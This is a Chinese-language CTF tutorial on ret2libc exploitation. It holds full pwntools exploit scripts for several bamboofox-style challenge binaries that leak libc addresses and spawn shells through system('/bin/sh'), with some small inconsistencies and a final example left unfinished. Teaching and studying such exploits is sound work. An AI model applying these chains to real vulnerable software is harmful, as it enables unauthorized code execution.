ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例1

这里我们以 bamboofox 中 ret2libc1 为例。

点击下载: ret2libc1

首先,我们检查一下程序的安全保护:

$ chmod +x ret2libc1
$ checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

源程序为 32 位,开启了 NX 保护。下面对程序进行反编译以确定漏洞位置:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在:

$ ROPgadget --binary ret2libc1  --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o

那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下:

from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
$ python3 exp.py
[+] Starting local process './ret2libc1': pid 406
[*] Switching to interactive mode
RET2LIBC >_<
$ ls
ctfshow_flag

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的地址,其后参数对应的参数内容。

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

例 2

这里以 bamboofox 中的 ret2libc2 为例 。

点击下载: ret2libc2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下:

$ chmod +x ret2libc2
$ checksec ret2libc2
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
$ ROPgadget --binary ret2libc2 --string '/bin/sh'
Strings information
============================================================
.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p
.plt:08048490 _system proc near ; CODE XREF: secure+44↓p
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
$ ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

选择0x080481c9 : pop ebx ; ret

from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d #清理 Gadget
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
#payload=b'a'*112+p32(gets_plt)+p32(pop_ebx)+p32(buf2)+p32(system_plt)+p32(0)+p32(buf2)
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。

$ python3 exp.py
[+] Starting local process './ret2libc2': pid 431
[*] Switching to interactive mode
Something surprise here, but I don't think it will work.
What do you think ?$ ls
ctfshow_flag exp.py pwn ret2libc1 ret2libc2 ret2libc3 ret2syscall

例 3

这里以 bamboofox 中的 ret2libc3 为例 。

点击下载: ret2libc3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

$ chmod +x ret2libc3
$ checksec ret2libc3
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}
void secure()
{
time_t seed; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

seed = time(0);
srand(seed);
secretcode = rand();
__isoc99_scanf(&unk_8048730, &input);
if ( input == secretcode )
puts("no_shell_QQ");
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme:

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp 如下:

from pwn import *
#from LibcSearcher import LibcSearcher
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #打本地
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt =elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libcbase=libc_start_main_addr-libc.sym['__libc_start_main']
system_addr = libcbase + libc.sym['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
#libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
#libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()
python3 exp.py
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './ret2libc3': pid 48
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
leak libc_start_main_got addr and return to main again
get the related addr
get shell
[*] Switching to interactive mode
$ ls
ctfshow_flag

例 4

点击下载: ret2libc4
需要同时找到 system 函数地址与 /bin/sh 字符串的地址。
使用filechecksec命令查看二进制文件

$ checksec ret2libc4
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ file ret2libc4
ret2libc4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6b427b8927f95bdfc8e3a8ee0b5c4af3a7b6a2f6, not stripped
$ ldd ret2libc4
linux-gate.so.1 (0xeb9ed000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xeb7a0000)
/lib/ld-linux.so.2 (0xeb9ef000)

ida打开分析,在ret2libc函数发现栈溢出漏洞

ssize_t ret2libc()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Welcome to Ret2libc\n", 0x14u);
return read(0, buf, 0x100u);
}

思路就是,通过程序默认的write函数地址,调用并输出write函数运行在内存中的真实地址,接着通过偏移分析该程序的libc版本,然后通过libc偏移找到system地址和/bin/sh地址,脚本如下:

#本地
from pwn import *
#context(log_level='debug')
io=process('./ret2libc4')
elf=ELF('./ret2libc4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
io.recvuntil(b"Welcome to Ret2libc\n")

# 获取程序没有加载到内存 write 的地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main=elf.sym['main'] # main = 0x080484F4
# 第一次栈溢出,获取write函数在内存中的真实地址
# 返回地址为 main,在执行完write函数再次运行main函数
# write(1,write_got,4)
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)

# 获取程序在内存中运行write函数的真实地址
write_addr = u32(io.recv(0x4))
print("write_addr is %#x" %write_addr)

# 如果题目给了libc
# libc基地址 = write_addr - libc中write_addr的偏移
libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)
# 根据基地址获取 system 和 /bin/sh 的地址
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 再一次栈溢出,调用system函数执行/bin/sh
io.recvuntil(b"Welcome to Ret2libc\n")

payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.send(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './ret2libc4': pid 70
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
write_addr is 0xf627fb80
libc_base is 0xf6168000
[*] Switching to interactive mode
$ ls
ctfshow_flag

例 5

点击下载: x64_ret2plt
需要同时找到 system 函数地址与 /bin/sh 字符串的地址。
使用filechecksec命令查看二进制文件

$ checksec x64_ret2plt
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
$ file x64_ret2plt
x64_ret2plt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d20b3b3f61548631d45d5b04c7c5381a196e0631, not stripped
from pwn import *
#context(log_level='debug')
io=process('./x64_ret2plt')
elf=ELF('./x64_ret2plt')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
main=elf.sym['main']
system=elf.sym['system']

题目

  • train.cs.nctu.edu.tw: ret2libc

题目

  • train.cs.nctu.edu.tw: rop
  • 2013-PlaidCTF-ropasaurusrex
  • Defcon 2015 Qualifier: R0pbaby